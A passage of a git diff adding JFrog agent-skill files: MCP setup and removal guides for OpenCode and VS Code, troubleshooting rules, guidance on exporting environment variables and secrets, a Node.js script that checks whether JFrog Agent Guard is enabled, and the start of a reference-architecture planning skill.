`$OPENCODE_CONFIG`, +`$OPENCODE_CONFIG_DIR`, and project). Identify the package by the `mcp=` value in +each entry's +`environment._JF_ARGS`; the entry key is the display name. Parse only the `mcp` +section - do NOT print, log, or return the whole file or unrelated config values +(it may hold provider keys and personal settings). + +## Verify + +Confirm the server exposes the upstream MCP's **real tools** (they appear to the +agent as `_`). `opencode mcp list` shows connection +status, but a "connected" row is NOT proof - the Agent Guard proxy can report up +with 0 upstream tools. + +- **An `enable__tools` tool is a normal Agent Guard gate**, not an error: + for MCPs that need sign-in or explicit enablement, the Agent Guard first + exposes this single tool; invoking it (e.g. "sign in to ``") runs the flow + and the upstream MCP's real tools then appear. Re-check afterward. (OpenCode's + own `opencode mcp auth` is for `type: "remote"` OAuth servers only and does NOT + apply to this local Agent Guard entry.) +- If the **real tools never appear** (even after enabling / signing in), a + required input likely did not reach the server - most often an `environment` + name or shell export whose case does not match the catalog input `name` (see + Value reference), or a variable that was not exported in the launching shell. + Fix it and start a new session. A truly empty tool list = Failed → see the + "0 tools" troubleshooting in + [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +## Remove + +Find the target entry by matching `mcp=` in +`environment._JF_ARGS`, then delete the `mcp.` entry from whichever +config holds it - check every scope listed under **Config files** above (global, +`$OPENCODE_CONFIG`, `$OPENCODE_CONFIG_DIR`, and project). Hand-edit the file +directly (current builds have no `opencode mcp remove`), +touching only the target `mcp.` entry and leaving other config +values untouched and unprinted. There is no separate `inputs`-style array to +clean up. Then start a new OpenCode session so the removed server stops loading. diff --git a/skills/jfrog-mcp-management/references/harness-vscode.md b/skills/jfrog-mcp-management/references/harness-vscode.md new file mode 100644 index 0000000..2c0b61f --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-vscode.md @@ -0,0 +1,127 @@ +# Harness: VS Code (GitHub Copilot) + +VS Code-specific config for the `jfrog-mcp-management` skill. Read this together +with [harness-common.md](harness-common.md) (shared entry shape and success +criterion). You reached this file because the harness is the VS Code editor +(`TERM_PROGRAM=vscode`, no `CURSOR_*` set). This targets the VS Code **editor** +with Copilot MCP support — not the standalone GitHub Copilot terminal CLI, which +has no `mcp.json` or editor UI and uses the Fallback path instead. + +> **VS Code differs from the others in three ways:** the top-level key is +> **`servers`** (not `mcpServers`); the default scope is **user-level** (not +> project); and secrets use a top-level **`inputs` array** with `${input:}`, +> not shell env vars. + +## Config files + +- **Default scope: user-level.** Personal, not committed, available across all + workspaces. Open with `MCP: Open User Configuration`; on disk: + - macOS: `~/Library/Application Support/Code/User/mcp.json` + - Linux: `~/.config/Code/User/mcp.json` + - Windows: `%APPDATA%\Code\User\mcp.json` + + Create if missing: `{ "servers": {}, "inputs": [] }`. +- **Workspace:** `.vscode/mcp.json`. Use ONLY if the user says "for this + project" / "commit" / "share with the team" (shareable via git). +- **Write to exactly one scope, never both.** In the default case write only the + user-level file; when the user opts into workspace scope write only + `.vscode/mcp.json` and do NOT touch the user-level config. +- Do not ask which scope unless the user brings it up. + +## Top-level key + +`servers` (NOT `mcpServers`). Writing `mcpServers` produces a file VS Code +silently ignores. + +## Value reference (env / secrets) + +A top-level **`inputs` array**, referenced from `env` as `"${input:}"`. VS +Code prompts for each value on first start and stores it (OS keychain) — there +is no shell export, so [persisting-env-vars.md](persisting-env-vars.md) does not +apply here. + +Full entry shape (note the sibling `inputs` array alongside `servers`): + +```json +{ + "inputs": [ + { + "type": "promptString", + "id": "-", + "description": "", + "password": true + } + ], + "servers": { + "": { + "type": "stdio", + "command": "npx", + "args": ["--yes", "--registry", "", "@jfrog/agent-guard", "--server", ""], + "env": { + "_JF_ARGS": "project=&mcp=", + "": "${input:-}" + } + } + } +} +``` + +Rules for the `inputs` block: + +- One entry per env var / header you configure from Step 3. +- `id`: `-`, all lowercase, hyphenated; unique within the + file. Reference from `env` as `"${input:}"`. +- `type`: always `"promptString"`. +- `password: true` for catalog `isSecret=true`. **OMIT the `password` key + entirely** (never set it to `false`) for non-secrets like URLs/flags. +- `description`: use the catalog `description`; if empty, construct a brief one. +- `Bearer` headers: use `"Bearer ${input:}"` and ask only for the token. + +## Enable + +Writing the entry is not enough — the server must be started via the UI. If it +is not already running, ask the user to **Start** it: the **Start** CodeLens +above the `mcp.json` entry, or `MCP: List Servers` → select it → **Start +Server**. On first start VS Code prompts for each `${input:...}` value; required +ones must be supplied or the server fails to start. + +## Restart + +`Developer: Reload Window`, or `MCP: List Servers` → Restart the server. + +## List installed + +Read `servers` from BOTH the workspace `.vscode/mcp.json` and the user-level +`mcp.json` (paths above). Live status (Running / Stopped / Failed) is UI-only — +the agent cannot read it. Only when the user explicitly asks whether a server is +running, or while troubleshooting, ask them to open `MCP: List Servers` and +report each server's status. An entry that does not appear there was never +started — re-run Enable. + +## Verify + +Ask the user to confirm in `MCP: List Servers` that the server is **Running with +at least one tool**. "Discovered 0 tools" is NOT healthy — the Agent Guard +started but the upstream MCP didn't. Treat 0 tools as Failed → see the "0 tools" +troubleshooting in [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +## Remove cleanup + +VS Code is the only harness with a top-level `inputs` array, so removal has an +extra step the harness-agnostic flow does not: after deleting the server's entry +from `servers`, also delete from the top-level `inputs` array every entry whose +`id` was referenced (as `"${input:}"`) ONLY by that server's `env` — i.e. +every `inputs` entry now orphaned. Leave NO orphaned `inputs` entries for the +removed server; a dangling `${input:}` declaration keeps its keychain-stored +value alive after the server is gone. Do NOT delete an `id` still referenced by +another surviving server. If removing the server empties `inputs`, an empty +`inputs: []` (or dropping the key) is fine. Operate by `id` only — never print or +echo any stored value. + +## Notes + +A wrong stored secret is cleared via the **Clear** CodeLens above the matching +`inputs` entry in `mcp.json`; then restart the server and VS Code re-prompts. +Several steps here (Start, entering inputs, checking `MCP: List Servers`) are +UI-only **user** actions — ask the user to do them; editing `mcp.json` and +running the agent guard commands are your steps. diff --git a/skills/jfrog-mcp-management/references/key-rules-and-troubleshooting.md b/skills/jfrog-mcp-management/references/key-rules-and-troubleshooting.md new file mode 100644 index 0000000..40cba92 --- /dev/null +++ b/skills/jfrog-mcp-management/references/key-rules-and-troubleshooting.md @@ -0,0 +1,81 @@ +# Key rules & troubleshooting + +Reference for the Install and List flows of the `jfrog-mcp-management` skill. + +## Key Rules + +- **Package scope is case-sensitive — ALWAYS write it lowercase as + `@jfrog/agent-guard`, NEVER `@JFrog/agent-guard`.** npm scopes are + case-sensitive; the published package is the lowercase `@jfrog/agent-guard`. + Capitalizing the brand (`@JFrog`) points at a different/nonexistent scope and + breaks the command. Use the exact lowercase string in every command and config + entry. +- **`npx` arg order:** `--yes`, `--registry `, `@jfrog/agent-guard`, then + agent guard flags. Both `--yes` and `--registry` MUST precede the package + name or `npx` falls back to the default registry (404) and may block on a + no-TTY prompt. +- **Always `"type": "stdio"`** pointing at `npx @jfrog/agent-guard`, even for + remote-only catalog MCPs (the agent guard proxies them). `"http"`, `"sse"`, + or a top-level `"url"` bypass the agent guard. +- `_JF_ARGS` is **only** for the config entry the agent launches at session + start (the `env` of the entry written when adding an MCP); MUST contain + `project=&mcp=`. NEVER pass `_JF_ARGS` to + `--list-available`, `--inspect`, or `--login` — those take `--server` / + `--project` as CLI flags only. +- NEVER assume `default` as a JFrog project key. If the project key is unknown + after the project chain (existing `mcpServers` entries → `JF_PROJECT` env + var), STOP and ask the user. Same for server ID if used. NEVER invent or + guess JFrog project keys or server IDs. +- Package name MUST come from the catalog (`--inspect` / `--list-available`). + NEVER guess. NEVER install MCPs outside the agent guard. NEVER use + Fetch/WebFetch for catalog calls. +- NEVER pipe a catalog command through `python3`, and NEVER capture it with + `2>&1` — `npx`/`npm` writes progress to stderr, which corrupts the output + stream. For `--list-available` present the compact TSV it prints; for + `--inspect` read the JSON it prints on stdout directly (or with a single `jq` + filter), never via `python3`. +- NEVER write a raw secret into any MCP config file (see + [harness-common.md](harness-common.md) for each harness's file) — always use + `${VAR_NAME}`. NEVER show tokens / API keys. +- NEVER try multiple servers — ask the user to pick one. + +## Troubleshooting + +Items below are harness-agnostic unless they point into the current harness's +row in [harness-common.md](harness-common.md). + +- **"connected" but 0 tools** (empty tool/capability list in the harness's + verify view — e.g. Claude Code's `/mcp` `Capabilities:`) — agent guard proxy + started, upstream MCP did not. A "connected" label is misleading here. NEVER + report success when there are 0 tools. + 1. Relaunch in the harness's debug mode if it has one (e.g. Claude Code: + `claude --debug`) and read the agent guard stderr; diagnose by MCP type: + - **OAuth (remote)** — re-run the OAuth login (`--login`); refresh token + likely expired. + - **Static-token (remote)** — confirm every `${VAR}` in `env` is exported + in the launching shell and the token is still valid. + - **Local (stdio)** — check that the bundled binary actually launched + (agent guard stderr will show the spawn error). + 2. Verify that the MCP server is still allowed. See the skill's "Available to + install" flow. +- **Configured server missing from the harness's list/verify view** — + rejected/pending. Re-run the enable/verify step (Install → Step 4a). +- **MCP still appears as approved (or won't go away) after editing the config** + — on harnesses that pre-approve via files (e.g. Claude Code), approval state + lives in plain JSON arrays read at session start (nothing cached, so `npm + cache clean` is unrelated). Check that harness's approval-precedence list in + [harness-common.md](harness-common.md) and remove the entry from every file + that lists it, then restart. On UI-toggle harnesses (Cursor, VS Code) there is + no such file — disable/stop the server in the harness's MCP view instead. +- **Agent Guard: `multiple/no JFrog server configured`** (the agent guard + cannot pick a JFrog server) — pass `--server ` (after `jf c add `) OR + export both `JFROG_URL` and `JFROG_ACCESS_TOKEN` in the launching shell, then + restart the agent. +- **OAuth MCP failing** — refresh token expired; re-run the OAuth login step. +- **401/403 with `${VAR}`** — env var unset/wrong; re-export in the launching + shell and restart the agent. +- **Network / proxy / DNS error** — outside the agent guard's scope; tell the + user and stop. +- **npx package fetch returns 403** — usually a corporate proxy/VPN, a blocked + or wrong registry, or a curation policy. Confirm `--registry + ` resolves and the access token is valid for that repo. diff --git a/skills/jfrog-mcp-management/references/persisting-env-vars.md b/skills/jfrog-mcp-management/references/persisting-env-vars.md new file mode 100644 index 0000000..1460227 --- /dev/null +++ b/skills/jfrog-mcp-management/references/persisting-env-vars.md @@ -0,0 +1,85 @@ +# Persisting environment variables + +Read this for **shell-based harnesses** when a Step 3 input needs to be exported +so its value takes effect. How each harness picks up the exported variable: + +- **Claude Code** — a `${VAR}` reference in the config. +- **Cursor** — a `${env:VAR}` reference in the config. +- **Devin Desktop** — a `${env:VAR}` reference in the config. +- **Codex** — a variable name listed in the `env_vars` allow-list; Codex forwards + that named variable's value from the launching shell to the server (e.g. an env + var like `Authorization`). +- **OpenCode** — a `{env:VAR}` reference in the config `environment` (OpenCode + also forwards its ambient environment to local MCP servers). + +This applies to any secret, or a non-secret you chose to keep out of the config as +a reference. (VS Code does not use shell env for this — it prompts for `inputs` +values and stores them itself; skip this file.) + +These references resolve from the shell that launched the agent, so the variable +has to be exported in that shell and persisted across relaunches. Don't rely on +a fixed list of shells/rc files — detect the syntax family and the actual +startup file the running shell uses, and fall back to asking the user whenever +either is ambiguous. + +## 1. Determine the syntax family + +```bash +echo "$SHELL" +``` + +`$SHELL` reports the user's default *login* shell, which is not necessarily the +shell that launched the agent (e.g. a bash session started from a zsh login +shell). Prefer detecting the actual running/parent shell when you can (e.g. the +process that started Claude); use `$SHELL` only as a fallback, and **ask the +user** whenever the running shell — or its startup file — can't be determined +unambiguously. + +- Basename ends in `sh` (`bash`, `zsh`, `ksh`, `dash`, `ash`, `sh`, ...) or any + other POSIX-compatible shell → **POSIX family**: `export VAR_NAME=""`. + This covers virtually every Unix shell except fish, so don't special-case + bash vs. zsh vs. anything else in this family — the export syntax is + identical. +- Basename is `fish` → **fish family**: `set -gx VAR_NAME ""`. +- No `$SHELL` (native Windows session, PowerShell/CMD) → **Windows**: for + **non-secret** values persist with `setx VAR_NAME ""` (sets it for + future sessions; the current one still needs the in-session equivalent, + `$env:VAR_NAME` / `set VAR_NAME`). Do **not** use `setx` for secrets — it + puts the value on the command line (visible in process listings / command + history). For secret values, direct the user to set it via the Windows + environment-variable UI (System Properties → Environment Variables) or a + secret manager, and keep the in-session example session-scoped. +- Anything that doesn't clearly match one of the above → ask the user which + family applies rather than guessing. + +## 2. Find the startup file to persist it in + +Start from the family's canonical default, then verify it's actually the file +in play before writing to it: + +| Family | Canonical default | +|--------|-------------------| +| POSIX (bash) | `~/.bashrc` (macOS login shells, e.g. Terminal.app, instead read `~/.bash_profile`, which usually sources `~/.bashrc`) | +| POSIX (zsh) | `~/.zshrc` | +| POSIX (other: ksh, dash, ash, sh, ...) | ask the user — these don't have one universal convention | +| fish | `~/.config/fish/config.fish` | +| Windows | persistent user env (`setx`), no file to edit | + +- **Verify before writing**, don't assume the default is correct: `test -f + && echo exists`. If it's missing, or a dotfiles manager / + framework (oh-my-zsh, starship, chezmoi, etc.) is in play — which often + generates or `source`s rc files from elsewhere — a hardcoded guess can + silently miss the file the shell actually reads. Ask the user to confirm or + name the right file rather than writing blind. +- **If in doubt at any point, ask the user directly** which file to edit — do + not silently pick one from memory of "common" shells. + +## Rules + +- **Security:** NEVER take secrets in the chat, echo them back, or write raw + secret values into a config file. For secret values, instruct the user to add + the line themselves (e.g. via `read -rs VAR_NAME && export VAR_NAME` for the + current session) — you never see or type the value. +- After exporting, the user must **relaunch the agent** so the exported value + takes effect — the harness picks it up on next launch (resolving `${VAR}` / + `${env:VAR}`, or forwarding the `env_vars`-listed variable on Codex). diff --git a/skills/jfrog-mcp-management/references/runtime-permissions.md b/skills/jfrog-mcp-management/references/runtime-permissions.md new file mode 100644 index 0000000..39a2570 --- /dev/null +++ b/skills/jfrog-mcp-management/references/runtime-permissions.md @@ -0,0 +1,19 @@ +# Runtime permissions + +The Step 0 Agent Guard check and the agent guard commands make outbound HTTPS +calls, and some operations also write under `~/.jfrog/`. Grant the matching +runtime access, or the commands fail (`Forbidden`, empty output) or the Step 0 +check returns a false "disabled" result. + +| Operation | What it needs | +| --- | --- | +| Step 0 check, `--inspect`, `--list-available` | Network: outbound HTTPS to the npm registry and the JFrog platform | +| OAuth `--login`, removing a cached entry | Network + write access to `~/.jfrog/` (`jfrogmcp.conf.json`) | + +How that access is granted depends on the agent. Some agents (e.g. Claude Code) +read the skill's optional `allowed-tools` frontmatter to pre-approve the +specific commands the skill runs, so the user is not prompted per call; others +prompt for approval or use their own permission model. Either way the skill +works — an agent that does not honor `allowed-tools` just asks the user to +approve the command. Do NOT treat `allowed-tools` as the permission mechanism; +it is only a convenience where supported. diff --git a/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-check.mjs b/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-check.mjs new file mode 100644 index 0000000..0024321 --- /dev/null +++ b/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-check.mjs @@ -0,0 +1,270 @@ +#!/usr/bin/env node +// Copyright (c) JFrog Ltd. 2026 +// Licensed under the Apache License, Version 2.0 +// https://www.apache.org/licenses/LICENSE-2.0 +// +// JFrog Agent Guard activation check. +// +// Silent gate used by Step 0 of the jfrog-mcp-management skill. Determines +// whether the JFrog Agent Guard is enabled for the current environment. +// +// Contract: +// - exit 0 -> Agent Guard ENABLED (skill may proceed) +// - exit 2 -> reachable but the platform has the MCP registry DISABLED +// (skill should tell the user to contact their admin / IT) +// - exit 1 -> DISABLED for any other reason: no credentials, timeout, +// network/DNS error (skill must silently abort) +// - a single human-readable reason line is written to stdout for +// diagnostics only; Step 0 keys off the EXIT CODE, not the text. +// +// Set JF_AGENT_GUARD_DEBUG=true for verbose tracing on stderr. + +import { execFileSync } from "node:child_process"; +import process from "node:process"; + +const SETTINGS_PATH = + "/ml/core/api/v1/administration/account-settings/mcp_gateway_plugin_enabled"; +const REQUEST_TIMEOUT_MS = 5000; + +const debugEnabled = process.env.JF_AGENT_GUARD_DEBUG === "true"; +const debug = (message) => { + if (debugEnabled) console.error(`[jfrog-agent-guard] ${message}`); +}; + +// New JFROG_* env vars take precedence over the legacy JF_* names. +const env = (newName, oldName) => + process.env[newName] ?? (oldName ? process.env[oldName] : undefined); + +const enabled = (reason) => { + process.stdout.write(`Enabled: ${reason}\n`); + process.exit(0); +}; + +const disabled = (reason) => { + process.stdout.write(`Disabled: ${reason}\n`); + process.exit(1); +}; + +// Reachable platform that reports the MCP registry turned off. Distinct exit +// code so the skill can tell the user to contact their admin / IT. +const registryDisabled = (reason) => { + process.stdout.write(`RegistryDisabled: ${reason}\n`); + process.exit(2); +}; + +// Resolve credentials from Path A (environment variables) or Path B +// (the default JFrog CLI configuration). Returns { baseUrl, token, source } +// or null when neither path yields a usable URL + access token. +function resolveCredentials() { + const explicitServerId = process.argv[2]; + // With an explicit server ID, try the named jf-config server FIRST so the + // gate checks THAT JPD, not the ambient default. But if it does not resolve + // (server not in jf config, jf absent/old), fall back to env credentials + // rather than reporting a false "disabled" — the platform may be fully + // reachable via exported JFROG_URL + token even with no matching jf server. + if (explicitServerId) { + const fromCli = resolveFromCliConfig(); + if (fromCli) return fromCli; + debug( + "Explicit server ID did not resolve via jf config; falling back to env credentials.", + ); + } + + // Path A — environment variables. + const envUrl = env("JFROG_URL", "JF_URL"); + const envToken = env("JFROG_ACCESS_TOKEN", "JF_ACCESS_TOKEN"); + if (envUrl && envToken) { + debug("Using credentials from environment variables (Path A)."); + return { baseUrl: envUrl, token: envToken, source: "environment variables" }; + } + debug( + "Environment credentials incomplete; trying JFrog CLI config (Path B).", + ); + + // Path B — default server from the local JFrog CLI configuration. If an + // explicit ID was given we already tried the CLI above (and env fell through), + // so there is nothing left to resolve. + if (explicitServerId) return null; + return resolveFromCliConfig(); +} + +function resolveFromCliConfig() { + // `jf config export [server ID]` emits the server as a base64-encoded JSON + // blob containing url, accessToken, and serverId. An optional server ID may + // be passed as argv[2]; without it the CLI's default server is used. We use + // the CLI rather than reading ~/.jfrog/jfrog-cli.conf.v6 directly because + // newer CLIs do not persist the access token in that file (and the platform + // URL may be stored only as an /artifactory-suffixed URL there, which is + // wrong for /ml/core). + const serverId = process.argv[2]; + const exportArgs = serverId ? ["config", "export", serverId] : ["config", "export"]; + let exported; + try { + exported = execFileSync("jf", exportArgs, { + encoding: "utf8", + stdio: ["ignore", "pipe", "ignore"], + timeout: 2000, + }).trim(); + } catch (error) { + debug( + `'jf config export' failed (jf not on PATH or no server configured): ${error?.message}`, + ); + return null; + } + + let cfg; + try { + cfg = JSON.parse(Buffer.from(exported, "base64").toString("utf8")); + } catch (error) { + debug(`Could not decode the jf config export token: ${error?.message}`); + return null; + } + + // `url` is the platform/JPD root — the base the /ml/core settings path needs. + const baseUrl = cfg?.url; + const token = cfg?.accessToken; + if (!baseUrl) { + debug("Exported JFrog CLI config has no platform URL."); + return null; + } + if (!token) { + debug("Exported JFrog CLI config has no access token (bearer auth needed)."); + return null; + } + + const id = cfg?.serverId ?? "default"; + return { baseUrl, token, source: `JF CLI config (server '${id}')` }; +} + +async function isGatewayPluginEnabled(baseUrl, token) { + // Normalize to the platform root: drop trailing slashes and a trailing + // `/artifactory` segment. Users commonly export JFROG_URL as + // `https://myco.jfrog.io/artifactory`, but the settings path lives under + // `/ml/core` off the platform root — without this, Path A would build + // `.../artifactory/ml/core/...` and 404 into a false "disabled" (exit 1). + const root = baseUrl.replace(/\/+$/, "").replace(/\/artifactory$/, ""); + const url = root + SETTINGS_PATH; + debug(`Fetching gateway plugin setting from ${url}`); + + // Trade-off: we use a direct fetch() rather than `jf api` (the pattern other + // scripts in this repo use for authenticated JFrog REST calls) because this + // gate keys off exact HTTP status codes — 200+value:false vs 401/403 vs + // unreachable each map to a different exit code — and parsing `jf api`'s + // "[Warn] ... returned NNN" / "Http Status: NNN" stderr convention for that + // is brittle. The cost: this call does NOT inherit any corporate-proxy or + // custom-CA settings baked into the user's `jf` config, so an env that only + // works through jf's transport can surface here as an unreachable/timeout + // (exit 1). If that becomes common, switch to `jf api` and parse its status. + const controller = new AbortController(); + const timeout = setTimeout(() => controller.abort(), REQUEST_TIMEOUT_MS); + try { + const response = await fetch(url, { + method: "GET", + headers: { + Accept: "application/json", + Authorization: `Bearer ${token}`, + }, + signal: controller.signal, + }); + if (!response.ok) { + debug(`Settings request returned HTTP ${response.status}.`); + // Non-OK (incl. 401/403) means an auth/permission/transport problem, NOT + // a deliberately-disabled registry — stay silent (exit 1) rather than + // sending the user to IT. Only HTTP 200 + value:false is "disabled". + return { + ok: false, + reason: `settings endpoint returned HTTP ${response.status}`, + }; + } + const data = await response.json(); + // Be tolerant about where and how the flag is carried, so a shape/casing + // change on the platform side can't turn a genuinely-enabled registry into + // a false "disabled" (exit 1). The endpoint URL already names the setting + // (`.../mcp_gateway_plugin_enabled`), so the body may arrive as any of: + // - `{ settings: { mcpGatewayPluginEnabled: } }` (wrapped); + // - the same at the top level, un-wrapped; + // - `{ value: }` (bare wrapper, key implied by the URL); + // - a bare boolean `true` / `false`. + // Casing: the path segment is snake_case while JFrog JSON bodies are + // typically camelCase — accept either. + const unwrap = (v) => + v !== null && typeof v === "object" ? v?.value : v; + const container = data?.settings ?? data; + const named = + container?.mcpGatewayPluginEnabled ?? + container?.mcp_gateway_plugin_enabled; + // `named` first (explicit key), then the bare wrapper / bare boolean forms. + const value = + typeof data === "boolean" + ? data + : named !== undefined + ? unwrap(named) + : unwrap(container); + debug(`Settings response indicates gateway plugin enabled=${value}.`); + if (value === true) return { ok: true }; + if (value === false) { + return { + ok: false, + registryOff: true, + reason: "mcp gateway plugin setting returned false", + }; + } + return { + ok: false, + reason: "settings endpoint returned an invalid gateway-plugin setting", + }; + } catch (error) { + const reason = + error?.name === "AbortError" ? "timeout" : error?.message ?? "unknown error"; + debug(`Settings request failed: ${reason}`); + return { ok: false, reason: `settings endpoint unreachable (${reason})` }; + } finally { + clearTimeout(timeout); + } +} + +async function main() { + // Manual overrides bypass credential resolution and the network call + // entirely. Checked first, in this order, so a conflicting config fails + // safe (disabled) rather than silently favoring enablement. + const forceDisabled = + env("_JF_AGENT_GUARD_FORCE_DISABLE") === "true"; + const forceEnabled = + env("JF_AGENT_GUARD_FORCE_ENABLE") === "true"; + if (forceDisabled) { + disabled("forced via _JF_AGENT_GUARD_FORCE_DISABLE"); + return; + } + if (forceEnabled) { + enabled("forced via JF_AGENT_GUARD_FORCE_ENABLE"); + return; + } + + const creds = resolveCredentials(); + if (!creds) { + disabled( + "JFROG_URL/JF_URL + access token not set and no default JF CLI config found", + ); + return; + } + + const result = await isGatewayPluginEnabled(creds.baseUrl, creds.token); + if (result.ok) { + enabled(`via ${creds.source}`); + return; + } + if (result.registryOff) { + registryDisabled(result.reason); + return; + } + disabled(result.reason); +} + +try { + await main(); +} catch (error) { + // Last-resort guard: any unexpected throw must NOT leak a stack trace to the + // user (the skill's Step 0 is silent). Downgrade to the safe "disabled" exit. + debug(`Unexpected error: ${error?.stack ?? error?.message ?? error}`); + disabled("unexpected error"); +} diff --git a/skills/jfrog-reference-architecture/SKILL.md b/skills/jfrog-reference-architecture/SKILL.md new file mode 100644 index 0000000..394d000 --- /dev/null +++ b/skills/jfrog-reference-architecture/SKILL.md @@ -0,0 +1,155 @@ +--- +name: jfrog-reference-architecture +description: >- + Guides JFrog Platform topology, sizing (RPM, t-shirt templates), deployment, + multi-site use cases, SaaS vs self-managed, HA, air-gapped, and disaster + recovery using the official Reference Architecture site as the sole source of + facts. Use this skill when the user asks how to size Artifactory or Xray, + which deployment pattern to choose, single vs multi site, active-active, + active-passive, CI/CD separation, Helm/Kubernetes install planning, or + reference architecture (live WebFetch from jfrog.com/reference-architecture). + Do NOT use for artifact search or download, repository or permission admin, + CVE or vulnerability lookups, live jf CLI operations against their instance, + or package curation — use the jfrog base skill or + jfrog-package-safety-and-download instead. +compatibility: >- + Requires outbound HTTPS (WebFetch or equivalent). Request full_network when + the runtime blocks fetches. No jf CLI or configured JFrog instance required + for planning-only questions. +metadata: + role: workflow +--- + +# JFrog Reference Architecture + +Planning skill for topology, sizing, and deployment. Answers must come from +**live fetches** of the [JFrog Platform Reference Architecture](https://jfrog.com/reference-architecture/) — not from training data or duplicated tables in this repo. + +## Prerequisites + +- Read `../jfrog/SKILL.md` for JFrog Platform concepts, product vocabulary, and routing to other workflows. +- **No `jf` CLI required** for planning-only questions (no live instance needed). + +## Source of truth + +| Allowed in this skill | Not allowed | +|-----------------------|-------------| +| Fetch procedures, workflows, output templates | Sizing RPM tables, use-case narratives, deployment checklists copied from the site | +| Helm chart **preference** (jfrog-platform on Kubernetes) | Hardcoded slug lists or criteria | + +**Every factual claim** (numbers, template names, limitations, infrastructure guidance) must come from a **`WebFetch` in the current session**. If fetch fails, retry or ask the user to open the URL — do not guess from memory. + +**Citations:** Use the `URL:` line from the relevant section in the fetched content (public HTML URL). You may note content was read from `llms-full.txt`. + +For fetch URLs, size thresholds, and the fallback ladder, see [references/doc-access.md](references/doc-access.md). + +## Gotchas + +| Symptom | Mitigation | +|---------|------------| +| Sizing numbers or use-case names not on the official site | `WebFetch` ref-arch first; cite `URL:` from the fetch — not training data | +| `small` template recommended for production | Re-read production warnings in the fetched Artifactory/Xray sizing sections | +| SaaS section missing or 404 | SaaS paths use prefix **`jfrog-saas`**, not `saas` | +| HA storage guidance wrong | Per ref arch: **`cluster-file-system`** or object storage — not `file-system` for HA | +| `WebFetch` blocked, truncated, or over size limits | Request `full_network`; downgrade per [references/doc-access.md](references/doc-access.md) | + +## Session bootstrap + +Before answering a reference-architecture question: + +1. **`WebFetch`** `https://jfrog.com/reference-architecture/llms-full.txt` (primary). +2. Keep the response in context for follow-ups in the same thread. +3. Note approximate response size. If over **1 MB**, or truncated, follow the downgrade path in `references/doc-access.md` (sitemap + targeted `index.md`). +4. Re-bootstrap when uncertain after long unrelated conversation. + +Request **`full_network`** (or the runtime equivalent) when `WebFetch` is blocked. + +### Parsing llms-full.txt + +Sections are separated by `---` and typically include: + +- `# ` +- `URL: https://jfrog.com/reference-architecture/...` +- Optional `> <summary>` +- Body text (may be condensed vs the HTML page) + +Use only text from the fetch. For recommendations, cite the section’s `URL:` line. + +## Intent routing + +| User intent | Where to look in llms-full | Fallback | +|-------------|---------------------------|----------| +| Sizing | `# Sizing`, `# AWS Sizing`, Azure, GCP sections | `.../self-managed/deployment/sizing/index.md` | +| Topology / use case | Matching title + `URL:` for SaaS (`jfrog-saas`) or self-managed | That path’s `index.md` | +| List use cases | All `URL:` lines containing `/use-cases/` | `sitemap.xml` | +| Deployment / install | Deployment and considerations sections | `.../deployment/index.md` | +| Disaster recovery | DR playbook / tiers sections | Matching `index.md` | + +SaaS paths use prefix **`jfrog-saas`**, not `saas`. + +## Workflow: Sizing + +1. Bootstrap `llms-full.txt` (unless downgraded to single-page fetch). +2. Find the **Sizing** section. Build follow-up questions from **Artifactory Sizing Templates Criteria** in the fetch (peak **Requests Per Minute** and **Concurrent Connections** per template). +3. Use **`AskQuestion`** when available; otherwise numbered options using labels from the fetched table only. +4. If the user mentions Xray or production, use **Xray Sizing Templates Criteria** and production warnings from the same fetch (e.g. small is not for production). +5. If the user names a cloud, use **AWS Sizing** / **Azure** / **GCP** sections from the fetch. +6. Recommend a template (`small` through `2xlarge`) and cite the sizing page `URL:` from the dump. +7. **Helm:** Recommend the [jfrog-platform](https://github.com/jfrog/charts/tree/master/stable/jfrog-platform) chart with `-f sizing/platform-<template>.yaml`. `WebFetch` the chart README if the user wants exact install commands. + +### Sizing output template + +```markdown +## Recommended sizing + +- **Template**: <from fetched table> +- **Artifactory**: <RPM and concurrent connections from fetched table> +- **Xray** (if applicable): <from fetched Xray table> +- **Source**: <URL: line from Sizing section> +- **Helm**: `helm upgrade --install` with `-f sizing/platform-<template>.yaml` on chart `jfrog/jfrog-platform` +- **Caveats**: <Notes / additional factors from fetched Sizing section> +``` + +## Workflow: Topology and use cases + +1. Bootstrap `llms-full.txt`. +2. Ask **1–2 follow-ups per turn** until hosting model and site count are clear: + - SaaS vs self-managed (if unsure, fetch home/overview from dump and mention SaaS value proposition from site text). + - Single site vs multi site. + - For multi-site: DR/failover, geo performance, CI/CD separation, edges, hybrid variants, IoT, subsidiaries/vendors, air-gapped (self-managed only), archiving. +3. **List documented use cases:** Filter all `URL:` lines containing `/use-cases/` from the dump; group under **JFrog SaaS** vs **Self-managed**. Fallback: `sitemap.xml` if the user wants sitemap-complete listing. +4. **Recommend a use case:** Match the user’s answers to sections in the dump; cite each `URL:`. If the dump is insufficient for one page, `WebFetch` `https://jfrog.com/reference-architecture/<path>/index.md` for that `URL:` path. +5. **No exact match:** Suggest combining documented patterns (e.g. active-passive for DR + main-site-with-edges); fetch each component section before describing how they combine. Remind that the ref arch is a starting point for emerging cases. + +## Workflow: Deployment + +1. Bootstrap `llms-full.txt`. +2. Use deployment, considerations, HA, database, storage, and cloud sections from the fetch. +3. **Default policy (not a substitute for ref-arch facts):** Deploy on **Kubernetes** with the **jfrog-platform** Helm chart even when the user only wants Artifactory — enable Artifactory, disable other products in values. Do not steer to legacy standalone Artifactory charts unless the user explicitly requires non-Kubernetes deployment. +4. Production reminders from fetched content where applicable: external managed PostgreSQL (not bundled chart DB for production), object storage / `cluster-file-system` for HA, Enterprise license for `replicaCount > 1`. +5. `WebFetch` the [chart README](https://github.com/jfrog/charts/tree/master/stable/jfrog-platform) when the user needs install snippets, OpenShift (`openshift-values.yaml` last), or RabbitMQ quorum files. + +### Deployment output template + +```markdown +## Deployment recommendation + +- **Runtime**: Kubernetes + jfrog-platform Helm chart +- **Reference**: <URL: from deployment-related sections> +- **Key considerations**: <bullets from fetched considerations sections> +- **Helm** (if requested): <commands from chart README fetch> +``` + +## When to read reference files + +- **Fetch ladder, Markdown URL rule, size governance:** [references/doc-access.md](references/doc-access.md) + +## Examples + +**Sizing:** User asks what sizing to set for Artifactory → bootstrap llms-full → ask peak RPM using fetched table options → recommend template and Helm sizing file. + +**List use 